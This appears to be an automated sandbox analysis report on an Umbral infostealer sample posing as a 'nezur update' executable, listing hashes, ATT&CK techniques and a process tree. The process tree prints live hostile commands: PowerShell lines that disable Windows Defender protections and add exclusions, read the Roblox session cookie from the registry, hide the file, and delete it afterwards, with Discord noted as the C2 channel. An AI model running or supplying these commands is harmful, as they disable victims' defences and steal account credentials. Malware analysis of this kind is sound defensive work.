umbral | 586244c03ace07d74308daba5ce9d49ac2cde473e6c686aadc6e4b2627e5093c

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
21-06-2024 02:26

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General

Target

nezur update open first.exe
Size

229KB
MD5

2e5281fab74e8820fbc43f452e58ee3c
SHA1

7f65af8151e0bb4d151151ca60a6b4424ab14f5b
SHA256

586244c03ace07d74308daba5ce9d49ac2cde473e6c686aadc6e4b2627e5093c
SHA512

0a1125678e89d2f4124980a4ed42effea78d0857ada7eb76a79c97275ae8df2ab8dee71f24d7376fe1c08e28e8739ddbb49322e1d1ee70e48a536e2165d97708
SSDEEP

6144:tloZM+rIkd8g+EtXHkv/iD4+DYlywvrYshkijD6/JN8e1mmUdei:voZtL+EP8+DYlywvrYshkijD6Hvk

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/4664-0-0x000002E0EBC60000-0x000002E0EBCA0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3572	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	nezur update open first.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	discord.com
31	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5096	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1764	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4664	nezur update open first.exe
3572	powershell.exe
3572	powershell.exe
5056	powershell.exe
5056	powershell.exe
1836	powershell.exe
1836	powershell.exe
4672	powershell.exe
4672	powershell.exe
1476	powershell.exe
1476	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4664	nezur update open first.exe
Token: SeIncreaseQuotaPrivilege	3452	wmic.exe
Token: SeSecurityPrivilege	3452	wmic.exe
Token: SeTakeOwnershipPrivilege	3452	wmic.exe
Token: SeLoadDriverPrivilege	3452	wmic.exe
Token: SeSystemProfilePrivilege	3452	wmic.exe
Token: SeSystemtimePrivilege	3452	wmic.exe
Token: SeProfSingleProcessPrivilege	3452	wmic.exe
Token: SeIncBasePriorityPrivilege	3452	wmic.exe
Token: SeCreatePagefilePrivilege	3452	wmic.exe
Token: SeBackupPrivilege	3452	wmic.exe
Token: SeRestorePrivilege	3452	wmic.exe
Token: SeShutdownPrivilege	3452	wmic.exe
Token: SeDebugPrivilege	3452	wmic.exe
Token: SeSystemEnvironmentPrivilege	3452	wmic.exe
Token: SeRemoteShutdownPrivilege	3452	wmic.exe
Token: SeUndockPrivilege	3452	wmic.exe
Token: SeManageVolumePrivilege	3452	wmic.exe
Token: 33	3452	wmic.exe
Token: 34	3452	wmic.exe
Token: 35	3452	wmic.exe
Token: 36	3452	wmic.exe
Token: SeIncreaseQuotaPrivilege	3452	wmic.exe
Token: SeSecurityPrivilege	3452	wmic.exe
Token: SeTakeOwnershipPrivilege	3452	wmic.exe
Token: SeLoadDriverPrivilege	3452	wmic.exe
Token: SeSystemProfilePrivilege	3452	wmic.exe
Token: SeSystemtimePrivilege	3452	wmic.exe
Token: SeProfSingleProcessPrivilege	3452	wmic.exe
Token: SeIncBasePriorityPrivilege	3452	wmic.exe
Token: SeCreatePagefilePrivilege	3452	wmic.exe
Token: SeBackupPrivilege	3452	wmic.exe
Token: SeRestorePrivilege	3452	wmic.exe
Token: SeShutdownPrivilege	3452	wmic.exe
Token: SeDebugPrivilege	3452	wmic.exe
Token: SeSystemEnvironmentPrivilege	3452	wmic.exe
Token: SeRemoteShutdownPrivilege	3452	wmic.exe
Token: SeUndockPrivilege	3452	wmic.exe
Token: SeManageVolumePrivilege	3452	wmic.exe
Token: 33	3452	wmic.exe
Token: 34	3452	wmic.exe
Token: 35	3452	wmic.exe
Token: 36	3452	wmic.exe
Token: SeDebugPrivilege	3572	powershell.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeIncreaseQuotaPrivilege	1912	wmic.exe
Token: SeSecurityPrivilege	1912	wmic.exe
Token: SeTakeOwnershipPrivilege	1912	wmic.exe
Token: SeLoadDriverPrivilege	1912	wmic.exe
Token: SeSystemProfilePrivilege	1912	wmic.exe
Token: SeSystemtimePrivilege	1912	wmic.exe
Token: SeProfSingleProcessPrivilege	1912	wmic.exe
Token: SeIncBasePriorityPrivilege	1912	wmic.exe
Token: SeCreatePagefilePrivilege	1912	wmic.exe
Token: SeBackupPrivilege	1912	wmic.exe
Token: SeRestorePrivilege	1912	wmic.exe
Token: SeShutdownPrivilege	1912	wmic.exe
Token: SeDebugPrivilege	1912	wmic.exe
Token: SeSystemEnvironmentPrivilege	1912	wmic.exe
Token: SeRemoteShutdownPrivilege	1912	wmic.exe
Token: SeUndockPrivilege	1912	wmic.exe
Token: SeManageVolumePrivilege	1912	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 4664 wrote to memory of 3452	4664	nezur update open first.exe	82
PID 4664 wrote to memory of 3452	4664	nezur update open first.exe	82
PID 4664 wrote to memory of 2992	4664	nezur update open first.exe	86
PID 4664 wrote to memory of 2992	4664	nezur update open first.exe	86
PID 4664 wrote to memory of 3572	4664	nezur update open first.exe	89
PID 4664 wrote to memory of 3572	4664	nezur update open first.exe	89
PID 4664 wrote to memory of 5056	4664	nezur update open first.exe	92
PID 4664 wrote to memory of 5056	4664	nezur update open first.exe	92
PID 4664 wrote to memory of 1836	4664	nezur update open first.exe	94
PID 4664 wrote to memory of 1836	4664	nezur update open first.exe	94
PID 4664 wrote to memory of 4672	4664	nezur update open first.exe	96
PID 4664 wrote to memory of 4672	4664	nezur update open first.exe	96
PID 4664 wrote to memory of 1912	4664	nezur update open first.exe	101
PID 4664 wrote to memory of 1912	4664	nezur update open first.exe	101
PID 4664 wrote to memory of 1376	4664	nezur update open first.exe	103
PID 4664 wrote to memory of 1376	4664	nezur update open first.exe	103
PID 4664 wrote to memory of 320	4664	nezur update open first.exe	105
PID 4664 wrote to memory of 320	4664	nezur update open first.exe	105
PID 4664 wrote to memory of 1476	4664	nezur update open first.exe	107
PID 4664 wrote to memory of 1476	4664	nezur update open first.exe	107
PID 4664 wrote to memory of 5096	4664	nezur update open first.exe	110
PID 4664 wrote to memory of 5096	4664	nezur update open first.exe	110
PID 4664 wrote to memory of 924	4664	nezur update open first.exe	113
PID 4664 wrote to memory of 924	4664	nezur update open first.exe	113
PID 924 wrote to memory of 1764	924	cmd.exe	115
PID 924 wrote to memory of 1764	924	cmd.exe	115

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2992	attrib.exe

C:\Users\Admin\AppData\Local\Temp\nezur update open first.exe
"C:\Users\Admin\AppData\Local\Temp\nezur update open first.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3452
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\nezur update open first.exe"
  2⤵
  - Views/modifies file attributes
  PID:2992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\nezur update open first.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4672
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1912
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1376
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1476
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:5096
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\nezur update open first.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:1764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
985b3105d8889886d6fd953575c54e08

SHA1
0f9a041240a344d82bac0a180520e7982c15f3cd

SHA256
5178fdd457eb3eb25c8f72ed4c22c582a83de0d324db66d0446d660f226e944d

SHA512
0fd59bc4886b70aa3b7eeeaa23229b7fdc93410ca7f8452860e4a1bbda2559eaa5e4b05c3ec2d85f7d648daf3c16741f4c2c18f2dd3bae4cc4a4e57ae4f665b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
cb711d82584fe3dc5745bfb99820569f

SHA1
429adfe731c69d9cbf3b52653e1988c14b0b9d0c

SHA256
2191f862ec40511db0dddc17ca49a894b91a3bde6dff599eb64f58a0aef79856

SHA512
51c85e4a327ac74a37d981771de1fa5621191f05513dd931fa7056a6af77aa44e93debd882592784f76da37815e03f620d8314333d9ea0e193e4d5ea424dfd5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xtxsg1xm.0tt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3572-9-0x0000027318560000-0x0000027318582000-memory.dmp

Filesize
136KB

Download
memory/3572-14-0x00007FFA61A70000-0x00007FFA62531000-memory.dmp

Filesize
10.8MB

Download
memory/3572-15-0x00007FFA61A70000-0x00007FFA62531000-memory.dmp

Filesize
10.8MB

Download
memory/3572-18-0x00007FFA61A70000-0x00007FFA62531000-memory.dmp

Filesize
10.8MB

Download
memory/3572-3-0x00007FFA61A70000-0x00007FFA62531000-memory.dmp

Filesize
10.8MB

Download
memory/4664-34-0x000002E0EE490000-0x000002E0EE4E0000-memory.dmp

Filesize
320KB

Download
memory/4664-33-0x000002E0EE390000-0x000002E0EE406000-memory.dmp

Filesize
472KB

Download
memory/4664-35-0x000002E0EE440000-0x000002E0EE45E000-memory.dmp

Filesize
120KB

Download
memory/4664-0-0x000002E0EBC60000-0x000002E0EBCA0000-memory.dmp

Filesize
256KB

Download
memory/4664-1-0x00007FFA61A73000-0x00007FFA61A75000-memory.dmp

Filesize
8KB

Download
memory/4664-72-0x000002E0EE340000-0x000002E0EE34A000-memory.dmp

Filesize
40KB

Download
memory/4664-73-0x000002E0EE370000-0x000002E0EE382000-memory.dmp

Filesize
72KB

Download
memory/4664-2-0x00007FFA61A70000-0x00007FFA62531000-memory.dmp

Filesize
10.8MB

Download
memory/4664-93-0x00007FFA61A70000-0x00007FFA62531000-memory.dmp

Filesize
10.8MB

Download